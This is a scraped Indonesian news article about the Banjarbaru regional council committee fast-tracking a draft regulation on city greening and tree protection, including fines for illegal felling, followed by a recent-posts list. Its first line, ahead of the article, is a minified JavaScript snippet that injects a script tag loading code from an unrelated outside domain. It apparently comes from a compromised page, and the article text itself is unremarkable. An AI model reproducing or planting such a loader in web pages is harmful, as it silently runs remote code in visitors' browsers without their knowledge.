(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Cuma Dua Bulan, DPRD Banjarbaru ‘Kebut’ Raperda Penghijauan Kota


KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) DPRD Banjarbaru mulai melakukan pembahasan Rancangan Peraturan Daerah (Raperda) tentang penghijauan kota dan perlindungan pohon.

Raperda yang baru saja diusulkan tersebut dikebut pembahasannya. Raperda ini sendiri merupakan inisiatif langsung dari para wakil rakyat di DPRD Banjarbaru.

Pansus yang bertugas untuk menggodok raperda soal lingkungan ini diketuai Takyin Baskoro. Menurut Takyin Baskoro, Raperda ini merupakan wujud keinginan untuk tetap menjaga kualitas lingkungan Banjarbaru.

“Menjaga kualitas lingkungan kota itu harus dilakukan secara terus menerus. Bagaimana cara kita membuat sebuah kota itu tampak hijau, sejuk, indah. Salah satu caranya, dengan membuat payung hukum. Nah, untuk itu Raperda ini kita secepatnya bahas untuk selanjutnya disahkan menjadi Perda,” kata Ketua Komisi III DPRD Banjarbaru.

Penting adanya payung hukum yang mengatur soal lingkungan. Hal itu diakui Baskoro, lantaran Banjarbaru adalah kota yang terus tumbuh mengalami perkembangan. Semakin meningkatnya pertumbuhan infrastuktur, menurutnya bersamaan juga dengan semakin sempitnya lahan hijau yang tersedia.

“Kita ingin membawa Banjarbaru ke depannya bisa seperti kota-kota besar seperti Surabaya dan Jakarta. Mereka punya Perda yang khusus menjaga dan melindungi lingkungannya, inilah yang kita terapkan di sini,” ujar legislator Partai Nasdem itu.

Terakhir, Baskoro juga menuturkan, salah satu kekuatasan terbesar Perda ini ialah memuat sanksi kepada orang yang tak bertanggungjawab terhadap keberlangsungan dan kelestarian lingkungan. Pihaknya ingin meluruskan siapa SKPD yang bertanggung jawab untuk program penghijauan di wilayah Banjarbaru.

“Jadi Perda ini akan memuat sanksi penebangan pohon ilegal di Banjarbaru. Untuk sanksi kebanyakan denda. Nah, nominal denda masih kita bahas dan tentunya disesuaikan dengan kemampuan daerah. Kita targetkan Raperda ini disahkan menjadi Perda dalam dua bulan ke depan,” lugasnya. (kanalkalimantan.com/rico)

Reporter:rico

Editor: bie


Al Ghifari

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

11 menit ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

24 menit ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

33 menit ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

44 menit ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

48 menit ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

3 jam ago

This website uses cookies.